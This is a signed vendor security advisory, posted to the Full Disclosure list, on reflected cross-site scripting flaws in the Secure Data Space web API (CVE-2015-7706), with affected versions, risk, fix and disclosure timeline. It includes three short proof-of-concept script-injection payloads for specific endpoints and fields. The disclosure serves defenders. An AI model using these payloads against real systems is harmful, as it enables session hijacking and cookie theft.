-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 secunet Security Networks AG Security Advisory
Advisory: SECURE DATA SPACE API Multiple Non-Persistent Cross-Site Scripting Vulnerabilities 1. DETAILS - ---------- Product: SECURE DATA SPACE Vendor URL: www.ssp-europe.eu Type: Cross-site Scripting[CWE-79] Date found: 2015-09-30 Date published: 2015-12-09 CVSSv2 Score: 4,3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) CVE: CVE-2015-7706 2. AFFECTED VERSIONS - -------------------- All product versions (Online, Dedicated, For Linux/Windows) in Web-Client v3.1.1-2 restApiVersion: 3.5.7-FINAL sdsServerVersion: 3.4.14-FINAL 3. INTRODUCTION - --------------- "The highly secure business solution for easy storage, synchronization, distribution and management of data - regardless of location or device" (from the vendor's homepage) 4. VULNERABILITY DETAILS - ------------------------ The Secure Data Share version v3.1.1-2 is vulnerable to multiple unauthenticated Non-Persistent Cross-Site Scripting vulnerabilities when user-supplied input is processed by the server.[0] #1 Proof-of-Concept: https://example.com/api/v3//public/shares/downloads/111"}<BODY%20ONLOAD%3dalert('XSS')> #2 Proof-of-Concept(authType parameter): POST /api/v3/auth/login {"login":"a","password":"a","language":1,"authType":"random<script>alert(1)<\/script>random"} #3 Proof-of-Concept(login parameter): POST /api/v3/auth/reset_password {"login":"random<script>alert(1)<\/script>random","language":1} 5. SECURITY RISK - ---------------- The vulnerabilities can be used to temporarily embed arbitrary script code into the context of the Secure Data Space backend interface, which offers a wide range of possible attacks such as stealing cookies or attacking the browser and its components. 6. SOLUTION - ----------- Update to Secure Data Space Versions: Web-Client 3.1.3 - Rev. 3 or higher with SDS-API 3.5.7 or higher 7. REPORT TIMELINE - ------------------ 2015-09-30: Vulnerability discovered 2015-10-02: Vendor notified 2015-10-02: Vendor acknowledges the vulnerability 2015-10-05: CVE requested from MITRE 2015-10-05: CVE-2015-7706 assigned 2015-10-13: Vendor releases update and security advisory[0] 2015-12-09: Advisory released 8. REFERENCES / CREDITS - ----------------------- This vulnerability was discovered and researched by Thomas Vogt from secunet Security Networks AG. [0] https://kb.ssp-europe.eu/pages/viewpage.action?pageId=12059988 secunet Security Networks AG - ---------------------------- secunet is one of Germany's leading providers of superior IT security. In close dialogue with its customers – enterprises, public authorities and international organisations – secunet develops and implements high-performance products and state-of-the-art IT security solutions. Thus, secunet not only keeps IT infrastructures secure for its customers, but also achieves intelligent process optimisation and creates sustainable added value. More information about secunet can be found at: https://www.secunet.com - -- secunet Security Networks AG Kronprinzenstraße 30 45128 Essen, Germany Local Court of Essen HRB 13615 Board of management: Dr. Rainer Baumgart (CEO), Thomas Pleines -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 Comment: Using gpg4o v3.5.43.6457 - http://www.gpg4o.de/ Charset: utf-8 iQIcBAEBCAAGBQJWaA6xAAoJEEIZSc7HIQcnfooP/3Q5EwML/ogRifuJu10I6a3K g95Seo4yNjm5Z/XlVBCguiyC2k9ZSkjYRIqtHfsgLHg0v3p/UQNa0zi7PEVZCBFp bOZcL2U1QHPq1JgIgZS5Ps3mOPqXhcwC5Pl+Mr7SfiRgYy7QQ5SRovoWruJ0ioD3 sSLkQebr6fRW8vn8liAgqANwd81xJRcMDYm/asyMofRDHMNKn70ElZdCDRuCZU7M 7J71BfU7X4y0og4jFKI2cXRY8bg/9llxhh/fAnxs5erzs9naL0dAgLcMhplHaPy/ 2sriZXq9p9V6ZT6yZnUUZKn6WQTO2Tl/1wkZIdAHxwCkrf8wBzQ/h+MYnolDd5De RCUOp0aEkVD830E9ceTRGK32m0KSOS5dKgAZen4l9aXYvn/+8+Tnp6QRncNTyg7F YiPCNhRhTLZCkdWLZSHqQpkf94JwTCAA0XolpfJm6omIPUv+f6KMo7YF/KwybpOR hDXV82BFlQBADxXAgg7lrgj4bHsShJpuXUx/P6zxhbnm+th0L/TWamtSDhrIcbh8 nVfZeGvPsmWZ8dxJpu9Ffn7XIzmapXjTR3dfxMTcG3AazLfQdgmln3E4wuFQ6Q5g c21W/suDru4QFt5jSPSXXOvrbgvGDEa30X4IHxMPYAfb5KwsUpZ49gmGAIZYXeer nCczxuozpnigVBDdtccG =YAbF -----END PGP SIGNATURE----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
